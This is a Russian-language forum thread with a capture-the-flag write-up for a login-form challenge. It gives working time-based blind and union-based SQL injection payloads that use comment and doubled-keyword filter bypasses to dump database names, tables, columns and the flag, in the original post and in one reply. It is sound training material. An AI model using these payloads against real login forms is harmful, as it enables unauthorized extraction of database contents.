![]() |
Приветствую всех кто обратил внимание на эту статью. В предыдущей статье я разбирал таск Базовая авторизация 2, сегодня разберем Базовая авторизация 3 Antichat.games.
https://forum.antichat.xyz/attachmen...0d263e7e1c.png Этот таск идентичный предыдущему таску в каком то смысле, та же форма входа, те же уязвимые параметры (здесь я не буду распыляться про это), только тип уязвимости совсем другой. Приступим сразу к делу: Понимаем что таск будет забористый , так как уровень сложности "Сложно" в голове только одно это слепая инъекция или еще хуже слепая основанная на времени. Подставляем нагрузку в Burp и смотрим : Код:
test'and/**/sleep(5)--%09-https://forum.antichat.xyz/attachmen...1549ff79ce.png Вот здесь не видно, но мы обращаем внимание на время ответа. Запомните примерно это число, это будет ваш ключ в дальнейшем. Мы понимаем что здесь Time Blind Based. Так же здесь идет фильтрация /**/ пробелов и + %09 Пытаемся вывести хоть какую то инфу , я покажу как это делать с помощью Burp : Что мы видим в этом запросе? много чего интересного. Что у нас фильтруется и select и from и where , по этому запрос будет выглядеть таким образом. Я указал на запрос, а справа можно сравнить его и что там? отсутствуют операторы запроса. Это значит что нам нужно сделать так чтобы они присутствовали) На этом фото я пытаюсь вытащить название первой буквы таблицы https://forum.antichat.xyz/attachmen...210ef09d43.png Делаем самый банальный обход такой фильтрации: Так же мы будем пользоваться таблицей ascii https://forum.antichat.xyz/attachmen...8579ee3426.png Буква соответствует цифре и в запросе она 100 это d , так же я указал стрелочкой что у нас время ответа слишком больше, значит иньекция работает правильно и буква верная в данном случае первая буква названия базы данных. И так со всеми запросами, перебирая цифры отправляем запросы, если ответ короткий значит цифра не наша, если происходит "задержка" цифра правильная и мы сверяем ее с таблицей. Записываем это все. Код:
test'and/**/IF(ascii(substring((SEselectLECT/**/database()),1,1))=100,sleep(5),false)--%09-Код:
test' AND/**/IF(ascii(substr((SEselectLECT/**/TABLE_NAME/**/FRfromOM/**/Код:
test' AND/**/IF(ascii(substr((SEselectLECT/**/concat(column_name)/**/FRfromOM/**/Код:
test' AND/**/IF(ascii(substring((SEselectLECT/**/count(*)/**/FRfromOM/**/flags/**/limit/**/0,1),1,1))=49,Код:
' AND/**/IF(ascii(substring((SEselectLECT/**/flag/**/FRfromOM/**/flags/**/limit/**/0,1),1,1))=97,Вот здесь мы можем извлекать разными способами данные и флаг, в свое время я раскручивал в burp intruder, есть статьи по WFUZZ. Но хотим ли мы тратить свое драгоценное время на все это? Понимая что мы достаем флаг по букве, зная что фильтруется идем и пишем свой тампер для SQLMAP . Нам нужен такой скрипт который будет обходить не 1 фильтрацию в запросе , а как минимум 4. Я не претендую на великого писаря таких скриптов, но то что у меня получилось работает: https://forum.antichat.xyz/attachmen...6cbd07c56c.png Просто проверяем его в работе: https://forum.antichat.xyz/attachmen...5496e37f47.png https://forum.antichat.xyz/attachmen...eccc29200f.png https://forum.antichat.xyz/attachmen...8e06625e6e.png В начале я все таки вытянул флаг доставая его по символу через интрудер, порядка 30 минут я доставал 30 с лишним символов флага, и сравнил его с тем что выдал sqlmap после. Результат был 100%. Сколько времени потребовалось Sqlmap для полного дампа = 5 минут. Делайте выводы. Всем кто осилил это спасибо за внимание. Создателям тасков отдельная благодарность. |
Всё круто! Флаг на последнем скрине не везде скрыт.
|
Цитата:
|
Красавчик!
Как пожелание, можно Код:
код в форматированный обернуть |
а смысл писать тамперы если уже есть для таких задач?
|
Цитата:
|
Цитата:
Раз на то пошло, то зачем ты sqlmap использовал, напиши скрипт с 0 тогда. |
Цитата:
|
Всем добрый день!
У меня получилось достать флаг простым union base sqli сначала получаем имя БД Код: Код:
login=test'/**/uniunionon/**/(selselectect/**/database(),1,1)/**/limit/**/1,1--%09&password=testКод: Код:
login=test'/**/uniunionon/**/(selselectect/**/(selselectect/**/group_concat(table_name)/**/frfromom/**/information_schema.tables/**/whewherere/**/table_schema=database()),1,1)/**/limit/**/1,1--%09&password=testКод: Код:
login=test'/**/uniunionon/**/(selselectect/**/(selselectect/**/group_concat(column_name)/**/frfromom/**/information_schema.columns/**/whewherere/**/table_name="flags"),1,1)/**/limit/**/1,1--%09&password=testКод: Код:
login=test'/**/uniunionon/**/(selselectect/**/(selselectect/**/group_concat(flag)/**/frfromom/**/flags),1,1)/**/limit/**/1,1--%09&password=test |
Цитата:
|
| Время: 02:51 |